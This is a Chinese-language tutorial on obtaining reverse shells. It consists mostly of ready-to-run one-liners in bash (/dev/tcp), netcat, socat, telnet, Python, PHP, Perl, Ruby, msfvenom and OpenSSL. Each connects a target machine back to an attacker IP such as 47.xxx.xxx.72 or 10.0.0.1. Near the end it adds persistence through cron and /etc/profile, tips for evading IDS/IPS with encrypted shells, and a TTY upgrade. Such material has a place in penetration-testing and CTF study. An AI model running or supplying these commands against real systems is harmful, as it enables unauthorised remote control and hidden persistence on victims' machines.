反弹shell

反弹shell

前置

什么是反弹shell:
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

正向连接:
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

什么情况下需要用到反弹shell:
大致有如下几种情况:

由于防火墙等限制,对方机器只能发送请求,不能接收请求。
拿到了目标机器的远程执行命令权限,为操作方便想要在本机拿到 shell 。
目标机位于局域网,直接连接不了。
目标机器的ip动态改变,你不能持续控制。
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

反弹 shell 的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有 netcat,那我们就可以利用 netcat 反弹 shell,如果有python环境,可以利用 python 反弹。如果具有 php 环境也同理。

netcat监听反弹shell

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下:

wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean


wget下载获取网站目录下资源

./ 执行文件

make
根据Makefile文件编译源代码、连接、生成目标文件、可执行文件。

make install
将编译成功的可执行文件安装到系统目录中,一般为usr/local/bin目录。

make clean
清除上次的make命令所产生的object文件(后缀为“.o”的文件)及可执行文件。

image-20240406005137907

NC常用参数介绍:

-l:侦听模式,即使没有接收到数据包,也会一直保持连接状态。

-p:指定本地端口号。如果未指定,则nc将随机选择一个空闲的端口。

-v:提供更详细的输出信息,例如打印出nc建立的连接和传输的数据。使用vv获取更详细的信息。

-e:指定要在连接建立后执行的命令。

-n:不执行DNS解析,使用IP地址连接。

-u:使用UDP协议而不是默认的TCP协议。

-w:设置超时时间。如果在指定的时间内没有连接或数据传输,则nc将退出。

-z:仅扫描目标主机的端口,不进行数据传

监听:

netcat -lvvp 监听端口号
nc -lvvn 监听端口号
nc -lvnp 监听端口号

#几个一样的

image-20240406005714273

主动连接(nc的反弹shell)

netcat 192.xxx.xxx.1 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
#-e后面跟的参数代表的是在创建连接后执行的程序

注: 要开端口

Bash反弹shell

将如下命令写入目标主机

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1" #更稳定
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

其他shell:sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

以下是针对Bash反弹一句话进各个部分的说明:

命令 命令详解
bash -i 产生一个bash交互环境。
>& 将联合符号前面的内容与后面相结合,然后一起重定向给后者。这样在被攻击机上就不会显示执行的命令。
/dev/tcp/47.xxx.xxx.72/2333 Linux环境中所有的内容都是以文件的形式存在的,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

输入0是由/dev/tcp/47.xxx.xxx.72/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/47.xxx.xxx.72/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能

然后攻击机在本地监听就可以了

Curl配合Bash反弹shell

在目标机上执行 curl 攻击者web服务ip|bash,该 ip 的web服务目录里的 index 文件上含有 bash 一句话,就可以反弹shell。

首先,在攻击者自己的服务器 web 目录里面创建一个index文件(index.php或index.html),内容如下:

bash -i >& /dev/tcp/攻击者主机ip/port 0>&1

开启2333端口的监听。(port)

然后再目标机上执行如下,即可反弹shell:

curl 攻击者web服务ip|bash

image-20240407194208309

根据curl命令和Linux管道的作用,你不难理解这其中的原理。

Curl配合Bash反弹shell的方式在CTF题目中经常出现,curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

利用Socat反弹shell

Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此。我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参见这里

安装Socat的方法很简单:

Ubuntu等可以直接使用 apt-get install socat 命令进行安装•也可以去官网下载源码包

攻击机开启本地监听:

socat TCP-LISTEN:2333 -或nc -lvvp 2333

目标机主动连接攻击机:

socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

image-20240407195514295

Telnet反弹shell

当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。

方法一

攻击机开启本地监听:

nc -lvvp 2333

目标机主动连接攻击机:

mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a

image-20240407195932242

方法二

攻击机需要开启两个本地监听:

nc -lvvp 2333

nc -lvvp 4000

目标机主动连接攻击机:

telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000

image-20240407200107374

如上图所示,获得shell后,在攻击机2333端口的终端上输入的命令会在目标机上执行,执行的回显将通过4000端口的终端显示出来。

脚本反弹shell

python脚本

当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

攻击机开启本地监听:

nc -lvvp 2333

目标机主动连接攻击机:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20240407200409152

php脚本

当目标主机上有php环境时,我们可以用php来反弹shell。

攻击机开启本地监听:

nc -lvvp 2333

目标机主动连接攻击机:

php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

perl脚本

当目标主机上有perl环境时,我们可以用perl来反弹shell。

攻击端开启端口监听

nc -lvvp 4444 

目标主机脚本连接攻击机

perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

image-20240407201033182

Ruby脚本

当目标主机上有ruby环境时,我们可以用ruby来反弹shell。

攻击机开启本地监听:

nc -lvvp 2333

目标机主动连接攻击机:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

# NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

image-20240407201336569

msf反弹shell

强大的Metasploit框架也为我们提供了生成一句话反弹shell的工具,即msfvenom,绝对的实用。当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,那么我们随时都可以使用 msfvenom -l 来查询生成我们所需要的各类命令行一句话,具体使用方法如下。

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹shell一句话的payload:

msfvenom -l payloads | grep 'cmd/unix/reverse'

image-20240407202206782

如上图所示,metasploit支持生成反弹shell一句话的类型非常丰富,大家可以依据渗透测试对象自行选择使用。比如,我们获取一个python反弹shell的一句话:

msfvenom -p cmd/unix/reverse_python LHOST=47.xxx.xxx.72 LPORT=2333 -f raw

-p 指定要使用的payload(攻击荷载)。
-f 指定输出格式

image-20240407202403110

将生成的python反弹shell的一句话在目标主机上执行即可

image-20240407202448000

使用OpenSSL反弹加密shell

在上文中,我们总结了很多反弹shell得方法,但是我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的。这些通过shell通过传输的流量都可以被管理员直接抓取并理解,当目标主机网络环境存在网络防御检测系统时(IDS、IPS等),网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此,我们需要对通信的内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密的 shell。

OpenSSL 简介

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。

SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性。

在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可:

image-20240407203949064

使用OpenSSL反弹加密shell

假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 2333 端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

此时 OpenSSL 便在攻击机的 2333 端口上启动了一个 SSL/TLS server。

这时在目标机进行反弹 shell 操作,命令为:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xxx.xxx.72:2333 > /tmp/s; rm /tmp/s

image-20240407204322227

这样攻击者便使用 OpenSSL 反弹了目标机一个加密的 shell。

其他

将反弹shell的命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/ 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell

将反弹shell命令写入/etc/profile文件

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &# 最后面那个&为的是防止管理员无法输入命令

反弹shell后获取模拟终端

其实,上面所讲的各种方法获取的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。你会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是往往会发现其交互性非常的差,回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。

  • 获取的虚拟终端没有交互性,我们想给添加的账号设置密码或执行sudo等命令,无法完成。

  • 标准的错误输出无法显示,无法正常使用vim等文本编辑器等。

  • 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。

image-20240407203253916

这往往都是因为我们获取的shell并不是标准的虚拟终端,为了能够完成输入密码等操作,我们必须模拟一个真正的终端设备。

我们其实可以借助于python默认包含的一个pty标准库来获取一个标准的虚拟终端环境。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

我们只需在获取的shell里面输入如下命令,即可模拟一个终端设备:

python -c "import pty;pty.spawn('/bin/bash')"

image-20240407203401749

如上图所示,成功模拟在shell中出了一个终端设备,并成功执行了sudo等命令。